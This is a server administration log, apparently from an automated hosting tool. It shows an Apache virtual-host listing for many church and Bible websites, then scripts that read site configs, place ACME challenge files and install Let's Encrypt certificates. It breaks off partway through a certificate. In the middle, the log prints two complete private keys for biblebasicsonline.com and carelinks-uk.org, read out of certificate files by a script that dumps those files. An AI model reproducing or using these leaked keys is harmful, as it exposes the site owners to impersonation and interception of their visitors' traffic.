port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:00:57:
PUT: /tmp/pkp655461
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:00:57:
chmod 755 /tmp/pkp655461; /tmp/pkp655461; rm /tmp/pkp655461
2025-09-06 06:00:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 1467
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:00:57:
PUT: /tmp/pkp950970
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:00:57:
chmod 755 /tmp/pkp950970; /tmp/pkp950970; rm /tmp/pkp950970
2025-09-06 06:00:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt 5402
d2:47:af:75:0d:45:71:07:ed:55:d9:fe:97:47:78:d9
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBfQsHtRXCFo3JiIIQ13yftk0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjIzWhcNMjUxMjA1MDUwMjIyWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDOKqEn5SFYjzu6k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNA
blTP5n4VAHQtiF7UqHNVvbru+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0
U+dXASczq5FSgtktJTaSLewHmi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbd
jRgaO8TxPANa+yCRCQbJj+GDGHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+
Y/Q3rGBMncGp6d17FKzuQTdn/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdB
jRBuTalKRlBcv9TGl10N2zNHfWRilAYtAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFKIBpg8Sw+7mxQ8jhQv2MomhMl0kMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ
6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZHZ0GNwAABAMARzBFAiEA2Z2Nnh3vDk+Z
n6weHSZqviHV5EuPxcFjgP/Hun+Bg2UCIHKb4yjNgxuTypE4Dqivm8z7oCWxF20w
oz9lJ5jFW3eBAHcA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZ
HZ0OCwAABAMASDBGAiEAhxyz+JPbzzPL/t24X9RUDGlZo2GUj87kuCiG2hZEnd8C
IQC4wAwMOITGVMEZUyYCgfU971vUipwqGf9pGB5g+v9H0TANBgkqhkiG9w0BAQsF
AAOCAQEAOSjOnSAWOgiy4LryH2JfBp19kUH53UOhtj8+AJNrhwUn5preiue4CEIZ
zYJOIlOYkuKh7Xl78kv70L2/rLAIePeGYSeAZ9TvW6TW02zzWTVTtNJRIzESAvSZ
l68fbUmijIwsvM4Iy/5AEcRB+CN6EAvk0bwchorXKw9r/GLHL8q1QK66MqRMGs2z
96XpQLzcmknxM7ZSibYoAZ0LhBZZkzULV0O2wZ3C7YqwoX3/8S1LwX3frkomXFHX
CCIixLi5POxJ535gHoZMCz1AJ53Uc1YAyitlsvPQlG318A9D891ViiBaHGxg7U3v
Wx81wiYgZE6yl0ZGDYP/lDeJstVo/g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOKqEn5SFYjzu6
k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNAblTP5n4VAHQtiF7UqHNVvbru
+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0U+dXASczq5FSgtktJTaSLewH
mi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbdjRgaO8TxPANa+yCRCQbJj+GD
GHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+Y/Q3rGBMncGp6d17FKzuQTdn
/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdBjRBuTalKRlBcv9TGl10N2zNH
fWRilAYtAgMBAAECggEAf+B9OUusFUwylhWOVR42oEaxCsOlkPhUnR0r3U34qsc9
QN3+8NAfK3XD8XhcOBah+SQe/fTGJSab7mJ7AeEw6wZwnoHwK0YNQS53LJMRAtpi
TNqXat+TZHguhA7ZC/mdF/rFTnVIlf8Z6dU+N7waVuWEHLofKLH4OOdRt6szc69m
uJLDbHbZNYqxVOGgafuwRqalUxo7qphSDR0jnrgT+oZR35CkZrVOC7aSWdgnSbwl
r7+UXPYbWBp9269/Irx2Z8zQuStiiW9wCcouzYT968O9rL84Lfi6+9NqxoM+Xzob
XH+F2R0CQacNaQZ4khLWqfLJpWIBR/iaCMvHc1oTmQKBgQD8aAglqa0gaIUOHJt5
LWb3lX51Jjdmy2e17v1dGrAu/tHS+jfvNaNAlnJ+kk+3w2XsDvUCJ2gj9rCO7H0h
7yQLsj04B79hQ0xaMS4Dg/HEF1nbi2bykzkj9ikyrTXuCmVXcHtPkNEgROXi6qjX
KMZ0Iu+dWItWmyVG2ifJVa/DswKBgQDRGhAqaa/hcRb1gDVdtzx6J5yCv6A/F3x3
eAxrmW1MewwtNyVuII55tNTM+YZxKIB5Kt5TiOMJfgwnugPPTE9/JqWz9d7WoHoz
mQJgKwWrVfC5NTxiZblz2ZdiOG6t6wbn8u93LchbPG1yXBucIZqbq3oeD9LTXJGc
dpFk5VuenwKBgQDJDmVO+vW5VwiF0SvXPt9CYIa28pY2/9fBCHox68xj4v9ou4BK
v8Mm87CIOiveCXvqqY9pA9LksuC5OJAEs+VWm8hAFYvRAjaTsZEho7y1opQlWcnL
eJKPnsn6YBcRYp6PJD5VhtnOhpNISfvsR8KtSBbuk1WKy1LKOYRv0B2OGQKBgA8I
uLDT+HlVEDmGhk++pPKDdpVQAc2HesN8NihmV51wG2gE1wQcAyJtBf/W0PvB1brg
giuvY+OC1Izmqu90pSKXPMK7otH7p82d6rXPYhD3lN88HKNWfQb/VgsR06NdipmS
tfTzrbwhlBzs0m9fWyZmJdmTea0Iss91Fu8SLowxAoGBAPjC6PZtMrUBKq0yYi7J
Sf6Bor3DVbSEtvNgBS97VyP3yug1VsjCT0J5D6/KBxXyfl6+uEy+z9A+C2n+lP/O
qG8g6Ptr0ABAsfvOx3RaR+rEY7aLBDgGvxHTb+HvZvdQFnhSRDI/MSRwlb7L+dRE
mtZpgvyv3rxHbP2fyoaFSYs4
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-06 06:00:57: Establishing a connection
2025-09-06 06:00:57: Establishing a connection
2025-09-06 06:00:57:
PUT: /tmp/pkp774574
#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:00:57:
chmod 755 /tmp/pkp774574; /tmp/pkp774574; rm /tmp/pkp774574
2025-09-06 06:00:57:
1
2025-09-06 06:00:58: Establishing a connection
2025-09-06 06:00:58:
PUT: /tmp/pkp908297
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY
cat > SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE
2025-09-06 06:00:58:
chmod 755 /tmp/pkp908297; /tmp/pkp908297; rm /tmp/pkp908297
2025-09-06 06:00:58:
2025-09-06 06:01:13: Establishing a connection
2025-09-06 06:01:13:
PUT: /tmp/pkp812830
#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm JY5YbgnL4VhuEMw_m_8BeSq-0hN4gIpJrTSlgN_QLwY
rm SJJem4PGyBVI-480NpaLUbS8hptcm-XXyk_DUmrrMFE
2025-09-06 06:01:13:
chmod 755 /tmp/pkp812830; /tmp/pkp812830; rm /tmp/pkp812830
2025-09-06 06:01:13:
2025-09-06 06:01:13: Establishing a connection
2025-09-06 06:01:13:
PUT: /tmp/pkp100116
#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt
cat > $temp_file <<'endmsg'
63:0c:fa:25:e5:8b:2e:82:34:41:f2:dc:08:54:3a:f7
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBSoLaffqNoD7lTMZCCn3gdOFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjQyWhcNMjUxMjA1MDUwMjQxWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA4ukJjW7F5xaBQ17MWAE5C8/BT0H0XlkgqStCKGf1YeCS8igcdOUGAZ1CR/8U
llWmvBH/BxtcVkMmQ7lmU2yrgSixRSGnImA1/Xop9WKh2ivBlS+4g+G7a8hSdmGN
PX9hvkiHOffzrPJ8qaGWl8O0cIqqJLBxTdS67ZxBPukoconWB1TffhUuMKAKx6/J
aWCWg+0TGB6+W2TsFwzBR6b4gBFR1gpTa/7BHWaDkNPRzXkJzAD9epgYGgzlMguO
7D+SBFcGvFKbTvfLuuw/PFIU9vVVnrowHLICHIgd2jjDUe4/HU4KPGOn49ygryg1
FXpbR80X3MwfWMhkNx188584GQIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBStn/KU2raQvPKbHG7QoA+hcUHrrTAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1Ud
HwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNi5jcmwwggEEBgor
BgEEAdZ5AgQCBIH1BIHyAPAAdgCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYn
TzqEVAAAAZkdnU5XAAAEAwBHMEUCIQCaF4/+Z5LVci6oQMes2oIfJtxd19rexdHF
gHdU01nfBAIgVRBp/q93xC9Fxf42cI4ZM1BP3GruwHHAq+ExWpBwIAYAdgDd3Mo0
ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZkdnU6/AAAEAwBHMEUCIEc0
OcjUKaoAsN6NczKvq7DvkdcRqMGL9Ev3ryAsQvsZAiEA+2x1GU1KfHlEinbYuGEF
YUEwNOkg9fWf6U7cM5UkCZUwDQYJKoZIhvcNAQELBQADggEBAFI8dlpY5xJ/iBXy
9iHu5WgmATZT8xGRIe+iYZD5ajEeDLbptvLUrSWHtRM0zzVDbHrjuOq7+cPpYFhj
IhP5yf7z2JrgxHw/ELAfleNNTN69vVMxpTV/2H8xN8AiDIES4+rPyxVz0yxoOhn/
zYb5Do+jzwhu0R4vH8Xv3DBUtv3MyWnrvPcmJBhFM7xCeQLVy43wWD/gz/JKlyx7
zQTmR3HT0XQ0eieLppEgQTiIFYJP1CInyj5ZWFZG5eol8wKUxlKJMDprjYXOQ9qH
de1xGs9lk6J7fmmYnXgH/1p5ekAIeBXQ2zWZ7Kf2E75wqwWHrE/JgtIL4bJ+r7gK
mE6wRLU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDi6QmNbsXnFoFD
XsxYATkLz8FPQfReWSCpK0IoZ/Vh4JLyKBx05QYBnUJH/xSWVaa8Ef8HG1xWQyZD
uWZTbKuBKLFFIaciYDX9ein1YqHaK8GVL7iD4btryFJ2YY09f2G+SIc59/Os8nyp
oZaXw7RwiqoksHFN1LrtnEE+6ShyidYHVN9+FS4woArHr8lpYJaD7RMYHr5bZOwX
DMFHpviAEVHWClNr/sEdZoOQ09HNeQnMAP16mBgaDOUyC47sP5IEVwa8UptO98u6
7D88UhT29VWeujAcsgIciB3aOMNR7j8dTgo8Y6fj3KCvKDUVeltHzRfczB9YyGQ3
HXzznzgZAgMBAAECggEBAKFBFybJqB63oZktD28jP1Ujia83oeBC2rEeKt/oMTwj
iopI8yAnegM/rNDZd9n2eI2DBIgaa55qDhFm+k8jFSausnv8lHgbg4LlhFf8hiUz
n1jUFv6yNq08KU4zuVoQ4neFt4P8r9EianFqgkjMLbkk8hEsyviSy1z9BGke7T2n
XDs6JU2uJSImkNJeN03FRBrYqtzophdz3wlPojszE57OonadOaQvhZAWCFizLs2/
b876Sc7JWN9v2cbXmwuM7skBVzdAUZ2ENiHoKSqcQT7YdE1EgXK2xqKSoMpWaTKQ
8iuvsYdJLd9BKTJbZ7XNlpcrLksFuOJdRFs2YVjl2OECgYEA87TB8GSbQdzn7cXz
sDf59jhchyEjfO5hUcA+HNs5oGnINN9X0ibWgBDQ/2rGJg/GQnZIZpsVp78PCPaa
ml+YQ8sz4xq4mfz6YKy++kAQsNGnVzFvPFl4qLlHgipnyKhuohN+a5XzWXg9TI9o
iDOF7/KzkCxRGcNzww1idncrmrUCgYEA7ltgowySvdAcDDQ1yNq0dYfhYbsjCOA+
4Dd71SQeBfIxfh1+hDVlw0Q2T+04iUtEqWA9tqBvUs/vFvRReKCHi1AlPNi2nagD
W0HmBCo13v1E1IWr4DW6gzWq2bo4aAG1JYQiPQZOmDoMUDO7Lb/9TLZICNN41aya
PCHgmOMnslUCgYEAxdVZjl0NT/UU7YdBIC8Aoij0q9lx5ovYwrVtdp1b9WWJ2ano
r7dJb2K3VnCF9AXgKrm8YlbIyIinmt4deO3bPEVrlJNvgcnEMtBoo9t38SHwVy7R
Hst+0HC/pOHpqBFa5gUvHgT3LA0YrdrIv7AbrUJ3E7V2DJUGlzN5V7O72PUCgYBH
d3p4KNLuurFOL3FY8cpd2woGxZdxl9sCW2BzvcqKud2BFNLUTTZf39nxCQ2EjN7f
cg3O7jeyusnTNhofcvJxIOypW8kVaETpXc7bvNQ+Me4rUpEAPtvXb4X0llNHTAvG
XeHuLi/ukKkUew5KX2BRWe4rR0zZtFDiar3u2V0TqQKBgGEK1oPJmtcVF236YQ5x
9ye/uFPMsyHs0P5J8xVggSSINph4Or6++EOW452shaa0wvD+ZReLJ8vkEiXdqXSj
In7gxqaxjj8wTwesaIGB3ZjTT+f1LSZFB9MtmMnjRwLWXoWSvP5318C17R0irJNb
pTQNimI+TLZkk5/YOc3gFPMZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
